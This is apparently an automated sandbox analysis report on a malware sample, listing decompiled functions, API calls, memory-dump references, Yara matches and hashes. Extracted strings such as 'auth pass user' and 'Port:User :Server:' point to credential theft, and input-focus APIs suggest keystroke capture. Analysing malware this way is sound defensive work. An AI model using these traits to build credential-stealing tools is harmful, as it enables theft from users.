                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Expl$GET$Windows Expl$Windows Expl$rer
                                                                                                                                                        • API String ID: 0-314038199
                                                                                                                                                        • Opcode ID: 840e359ab2f30303e642095d1dc3ed0318916a2d4f501869f1fc4e00b54145fe
                                                                                                                                                        • Instruction ID: 3be2819414f692a89453a0439808593347f6144acec00f290a6d716ddc2e3c78
                                                                                                                                                        • Opcode Fuzzy Hash: 840e359ab2f30303e642095d1dc3ed0318916a2d4f501869f1fc4e00b54145fe
                                                                                                                                                        • Instruction Fuzzy Hash: 0531C272A41216ABEB218B948C42FEE7B74EB45B18F140159F6487F281D7B06641CBE5
                                                                                                                                                        Function 0136703C Relevance: 6.3, Strings: 5, Instructions: 78COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: 1$4.1$:$:$FBNG
                                                                                                                                                        • API String ID: 0-4197480871
                                                                                                                                                        • Opcode ID: 1284afea090e440d00ee8cd46d7bf06ddbd8ce72a5d512e61f03749c0a075997
                                                                                                                                                        • Instruction ID: 728de09ada1efc5687bfad42c3f0c19cfdb99ec22cdef92da9ecb1b277bac3bc
                                                                                                                                                        • Opcode Fuzzy Hash: 1284afea090e440d00ee8cd46d7bf06ddbd8ce72a5d512e61f03749c0a075997
                                                                                                                                                        • Instruction Fuzzy Hash: BF313AB5E142599EDF60CFA88840BDEBBF9FF49304F1042AAE40CE7240EB7116858B55
                                                                                                                                                        Function 01395444 Relevance: 6.3, Strings: 5, Instructions: 78COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: 1$4.1$:$:$FBNG
                                                                                                                                                        • API String ID: 0-4197480871
                                                                                                                                                        • Opcode ID: 1284afea090e440d00ee8cd46d7bf06ddbd8ce72a5d512e61f03749c0a075997
                                                                                                                                                        • Instruction ID: ed977ece5499a6329b74f8d7c0b39d340fe5e02e51bef959fc520ba0003d2484
                                                                                                                                                        • Opcode Fuzzy Hash: 1284afea090e440d00ee8cd46d7bf06ddbd8ce72a5d512e61f03749c0a075997
                                                                                                                                                        • Instruction Fuzzy Hash: CD318975E142589EDF61CFA88800BEEBBF8EF49314F5041AAE40CE7250EB710A848B55
                                                                                                                                                        Function 0137A788 Relevance: 6.3, Strings: 5, Instructions: 62COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Us$: $er-A$gent$urlmon.dll
                                                                                                                                                        • API String ID: 0-1367105278
                                                                                                                                                        • Opcode ID: 0d232044121066e90ce9242d5dae68050cea9207db9149437658d2746516acfa
                                                                                                                                                        • Instruction ID: 1944d177559ff7e4772b1d0710c341797ac302e3bcf9cdcd3bea2b1e5f9ef528
                                                                                                                                                        • Opcode Fuzzy Hash: 0d232044121066e90ce9242d5dae68050cea9207db9149437658d2746516acfa
                                                                                                                                                        • Instruction Fuzzy Hash: 0F1182B1D01219ABEB10DF99DC01BFFBBB8EF55714F140159EC04BB240D6799A0187E6
                                                                                                                                                        Function 0137B618 Relevance: 6.3, Strings: 5, Instructions: 62COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $auth pass user $login auth pass user $pass user $user
                                                                                                                                                        • API String ID: 0-3872547547
                                                                                                                                                        • Opcode ID: 418cce61f775f44753dedf6079e83a27e634bf79aef1b2936d8942d0dce35cb7
                                                                                                                                                        • Instruction ID: e832d939aed4be521cd8a046b52ffc366e678935d68ef5927bd75d96811eea1a
                                                                                                                                                        • Opcode Fuzzy Hash: 418cce61f775f44753dedf6079e83a27e634bf79aef1b2936d8942d0dce35cb7
                                                                                                                                                        • Instruction Fuzzy Hash: 3E11E0B2C10219A6DF10DFA9AC00AFFB77CEE56214F004159EC04A6205E7B54714CBE6
                                                                                                                                                        Function 013A8B90 Relevance: 6.3, Strings: 5, Instructions: 62COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Us$: $er-A$gent$urlmon.dll
                                                                                                                                                        • API String ID: 0-1367105278
                                                                                                                                                        • Opcode ID: 0d232044121066e90ce9242d5dae68050cea9207db9149437658d2746516acfa
                                                                                                                                                        • Instruction ID: 32e15c2eaa118d8cd2ab130e09872127a195330ca6bf4187ea84cc831bf1776d
                                                                                                                                                        • Opcode Fuzzy Hash: 0d232044121066e90ce9242d5dae68050cea9207db9149437658d2746516acfa
                                                                                                                                                        • Instruction Fuzzy Hash: 071190B1D0121DAADB00DF99DC01BEFFBB8EB55718F440059EC04BA240E2795A058BE6
                                                                                                                                                        Function 013A9A20 Relevance: 6.3, Strings: 5, Instructions: 62COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $auth pass user $login auth pass user $pass user $user
                                                                                                                                                        • API String ID: 0-3872547547
                                                                                                                                                        • Opcode ID: 418cce61f775f44753dedf6079e83a27e634bf79aef1b2936d8942d0dce35cb7
                                                                                                                                                        • Instruction ID: d6b0c971e6ae62786cc8aada16390fd38376e5deaec6fdf2cf45fac38f3fc058
                                                                                                                                                        • Opcode Fuzzy Hash: 418cce61f775f44753dedf6079e83a27e634bf79aef1b2936d8942d0dce35cb7
                                                                                                                                                        • Instruction Fuzzy Hash: 3B119E728112196ADF00DFE9AC41AFFB77CEEA6208F40415AED09EA241F3715615C7E2
                                                                                                                                                        Function 00786033 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 007860DD
                                                                                                                                                        • GetLastError.KERNEL32(?,00000000), ref: 00786103
                                                                                                                                                        • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00786128
                                                                                                                                                        • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00786154
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3321077145-0
                                                                                                                                                        • Opcode ID: 2c96d4791b787934c4e075585fe28186e80eb584ba35d10e12a4c3a2a2823288
                                                                                                                                                        • Instruction ID: 50290209ee5e91dcbe4b7003a6f390d07e87be804cc3e2b8d454c834095a6129
                                                                                                                                                        • Opcode Fuzzy Hash: 2c96d4791b787934c4e075585fe28186e80eb584ba35d10e12a4c3a2a2823288
                                                                                                                                                        • Instruction Fuzzy Hash: C6413239600610DFCB11EF19C558A5EBBF2EF49750B15C088E85A9B3A2CB38FD45CB91
                                                                                                                                                        Function 007A2039 Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetForegroundWindow.USER32 ref: 007A204A
                                                                                                                                                          • Part of subcall function 007742CC: GetWindowThreadProcessId.USER32(?,00000000), ref: 007742E6
                                                                                                                                                          • Part of subcall function 007742CC: GetCurrentThreadId.KERNEL32 ref: 007742ED
                                                                                                                                                          • Part of subcall function 007742CC: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00772E43), ref: 007742F4
                                                                                                                                                        • GetCaretPos.USER32(?), ref: 007A205E
                                                                                                                                                        • ClientToScreen.USER32(00000000,?), ref: 007A20AB
                                                                                                                                                        • GetForegroundWindow.USER32 ref: 007A20B1
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2759813231-0
                                                                                                                                                        • Opcode ID: 6e5259ac8dddfcf2f1f71c9cb896e8747fa57de382bd0ec798bbc0b2971b9a68
                                                                                                                                                        • Instruction ID: 263d980d30560ace40520e28243fbd52eee6cdc88367ad1e56ffd857fd3cc8f1
                                                                                                                                                        • Opcode Fuzzy Hash: 6e5259ac8dddfcf2f1f71c9cb896e8747fa57de382bd0ec798bbc0b2971b9a68
                                                                                                                                                        • Instruction Fuzzy Hash: 4E314371E00209AFCB54DFA9C8858EEB7F8EF89304B50846AE415E7252DB75DE45CBA0
                                                                                                                                                        Function 00742099 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 8d71e3fb6b040954cef9c3335196cb37996d0d2bbcbfb45bab8f3bc467827b80
                                                                                                                                                        • Instruction ID: be7be4eeea790db93b1c908bacda20617e1171d7f03cc2d197f1dcb7f5919c61
                                                                                                                                                        • Opcode Fuzzy Hash: 8d71e3fb6b040954cef9c3335196cb37996d0d2bbcbfb45bab8f3bc467827b80
                                                                                                                                                        • Instruction Fuzzy Hash: 6C01A2B260A219BEF62126786CC5F27674DDF923B8BB10325B621911E3DB788CA24560
                                                                                                                                                        Function 00712150 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetSysColor.USER32(00000008), ref: 0071216C
                                                                                                                                                        • SetTextColor.GDI32(?,?), ref: 00712176
                                                                                                                                                        • SetBkMode.GDI32(?,00000001), ref: 00712189
                                                                                                                                                        • GetStockObject.GDI32(00000005), ref: 00712191
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Color$ModeObjectStockText
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4037423528-0
                                                                                                                                                        • Opcode ID: 0193361f0731e942be59b3405fac1d50032bf83978b81f41d04d264cfad639fc
                                                                                                                                                        • Instruction ID: d8c220e892086fdd39efc686bf66640f3cf2554c292c491b7c1a1cf6c29e821f
                                                                                                                                                        • Opcode Fuzzy Hash: 0193361f0731e942be59b3405fac1d50032bf83978b81f41d04d264cfad639fc
                                                                                                                                                        • Instruction Fuzzy Hash: ECE06531640244AEDB315B74EC097D87B20EB53336F04C219F7BB440E1C3B54A559B10
                                                                                                                                                        Function 007960A2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: BuffCharUpper_wcslen
                                                                                                                                                        • String ID: CALLARGARRAY
                                                                                                                                                        • API String ID: 157775604-1150593374
                                                                                                                                                        • Opcode ID: 770899477731cb21567e6b5c37c3cdb0c6347e232c3ac0687482e259d07b5c88
                                                                                                                                                        • Instruction ID: 1bc9308abd82a09d1ba5f21724eb545d70e43ac80df2e7453d0e0c03bced279e
                                                                                                                                                        • Opcode Fuzzy Hash: 770899477731cb21567e6b5c37c3cdb0c6347e232c3ac0687482e259d07b5c88
                                                                                                                                                        • Instruction Fuzzy Hash: A841B171A00219DFCF04EFA8D8958FEBBB5FF59360F104169E506A7292D7789D81CBA0
                                                                                                                                                        Function 007A406F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0071771B: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00717759
                                                                                                                                                          • Part of subcall function 0071771B: GetStockObject.GDI32(00000011), ref: 0071776D
                                                                                                                                                          • Part of subcall function 0071771B: SendMessageW.USER32(00000000,00000030,00000000), ref: 00717777
                                                                                                                                                        • GetWindowRect.USER32(00000000,?), ref: 007A40D9
                                                                                                                                                        • GetSysColor.USER32(00000012), ref: 007A40F3
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                                                                                                                        • String ID: static
                                                                                                                                                        • API String ID: 1983116058-2160076837
                                                                                                                                                        • Opcode ID: d7246b17afb3f618349c7d749f6f712f022e11af4f1627a65951921adc056327
                                                                                                                                                        • Instruction ID: ecfeefcda1ceac0dc98f1b529fd80b178ec7ec0f14fa1485a66b1d2437527f25
                                                                                                                                                        • Opcode Fuzzy Hash: d7246b17afb3f618349c7d749f6f712f022e11af4f1627a65951921adc056327
                                                                                                                                                        • Instruction Fuzzy Hash: F5113A72610209AFDB10DFB8CC45AFA7BF8FB89314F004614F955E3150E679E851DB60
                                                                                                                                                        Function 0137B7E8 Relevance: 5.2, Strings: 4, Instructions: 233COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: :$Port:User :$Server:$User :
                                                                                                                                                        • API String ID: 0-1282517814
                                                                                                                                                        • Opcode ID: 323eea5d9368bf6b83d74b9d88458f29db7f2233e5c97ac6ad0072fb27e3eada
                                                                                                                                                        • Instruction ID: 6720cde1e72cdc65773f7e6d05492d2f4d7597b7748a579ade424c561a1467fc
                                                                                                                                                        • Opcode Fuzzy Hash: 323eea5d9368bf6b83d74b9d88458f29db7f2233e5c97ac6ad0072fb27e3eada
                                                                                                                                                        • Instruction Fuzzy Hash: C98108B6801209ABCF61DBA8CC80DDF77FCFF68514F04895AE55566100EE39E7848BE5
                                                                                                                                                        Function 013A9BF0 Relevance: 5.2, Strings: 4, Instructions: 233COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: :$Port:User :$Server:$User :
                                                                                                                                                        • API String ID: 0-1282517814
                                                                                                                                                        • Opcode ID: 323eea5d9368bf6b83d74b9d88458f29db7f2233e5c97ac6ad0072fb27e3eada
                                                                                                                                                        • Instruction ID: 54b89d34667290d3467649d34c087a519375c5550ae67bac1555578de8febd7d
                                                                                                                                                        • Opcode Fuzzy Hash: 323eea5d9368bf6b83d74b9d88458f29db7f2233e5c97ac6ad0072fb27e3eada
                                                                                                                                                        • Instruction Fuzzy Hash: 0D8167B6810219ABDF11DFD8CC80DDF77BDEF28218F408559E54A66500ED35E7888BE4
                                                                                                                                                        Function 013963C0 Relevance: 5.2, Strings: 4, Instructions: 177COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: .$D$\$x
                                                                                                                                                        • API String ID: 0-3596669699
                                                                                                                                                        • Opcode ID: c59b168ffdfc63add99e0c91c71fad8aa8ef559a48c006191e40d4b2e7ee2e95
                                                                                                                                                        • Instruction ID: 7a01f0d8fda37e3b7768ff31525d1fd27eb1b89f10b766b19621398912a545d7
                                                                                                                                                        • Opcode Fuzzy Hash: c59b168ffdfc63add99e0c91c71fad8aa8ef559a48c006191e40d4b2e7ee2e95
                                                                                                                                                        • Instruction Fuzzy Hash: 6051A4B1900319AAEB10DFA8DC41FFF77ACDF54318F444169FA08A6180EBB56A44CBA5
                                                                                                                                                        Function 013A5150 Relevance: 5.2, Strings: 4, Instructions: 164COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: P$r$s$w
                                                                                                                                                        • API String ID: 0-3891800351
                                                                                                                                                        • Opcode ID: 9f59bce3c8d68b5d03484cf9ed550305e57311f7baa75719e43ee8425bbfa6fe
                                                                                                                                                        • Instruction ID: 725e132c779b0d6cdbd1d6129e78a076ca7157588dc4640c08a14fcb652255c2
                                                                                                                                                        • Opcode Fuzzy Hash: 9f59bce3c8d68b5d03484cf9ed550305e57311f7baa75719e43ee8425bbfa6fe
                                                                                                                                                        • Instruction Fuzzy Hash: CC513DB5D00209AFDB10DFE8C880BEEBBB5EF58714F54412AE909AB641E7349905CB95
                                                                                                                                                        Function 0137B7E1 Relevance: 5.2, Strings: 4, Instructions: 161COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: :$Port:User :$Server:$User :
                                                                                                                                                        • API String ID: 0-1282517814
                                                                                                                                                        • Opcode ID: 5678d260f2a515f065ed086ed15cbf5d14a4013ee9563dd421d3871227006975
                                                                                                                                                        • Instruction ID: 086ddd035eea04293ceaba8c90620b08253d212e4999e8907e609525db21304e
                                                                                                                                                        • Opcode Fuzzy Hash: 5678d260f2a515f065ed086ed15cbf5d14a4013ee9563dd421d3871227006975
                                                                                                                                                        • Instruction Fuzzy Hash: 885117B2841209EBCF21DBA8CC80DDF77FCFF68214F14859AE55966100EE39E6448BE5
                                                                                                                                                        Function 013A9BE9 Relevance: 5.2, Strings: 4, Instructions: 161COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: :$Port:User :$Server:$User :
                                                                                                                                                        • API String ID: 0-1282517814
                                                                                                                                                        • Opcode ID: 5678d260f2a515f065ed086ed15cbf5d14a4013ee9563dd421d3871227006975
                                                                                                                                                        • Instruction ID: beae1e1dc86a813c00f97d92d13a4e4bce2388af5ccbc57825776cd346f5601d
                                                                                                                                                        • Opcode Fuzzy Hash: 5678d260f2a515f065ed086ed15cbf5d14a4013ee9563dd421d3871227006975
                                                                                                                                                        • Instruction Fuzzy Hash: 585188B6801209AACF10DFD8DC80DDF77BCEF28218F448599E54A67501EE35E7888BE5
                                                                                                                                                        Function 0074C19D Relevance: 5.1, APIs: 4, Instructions: 139COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 0074C233
                                                                                                                                                        • GetLastError.KERNEL32 ref: 0074C241
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0074C29C
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
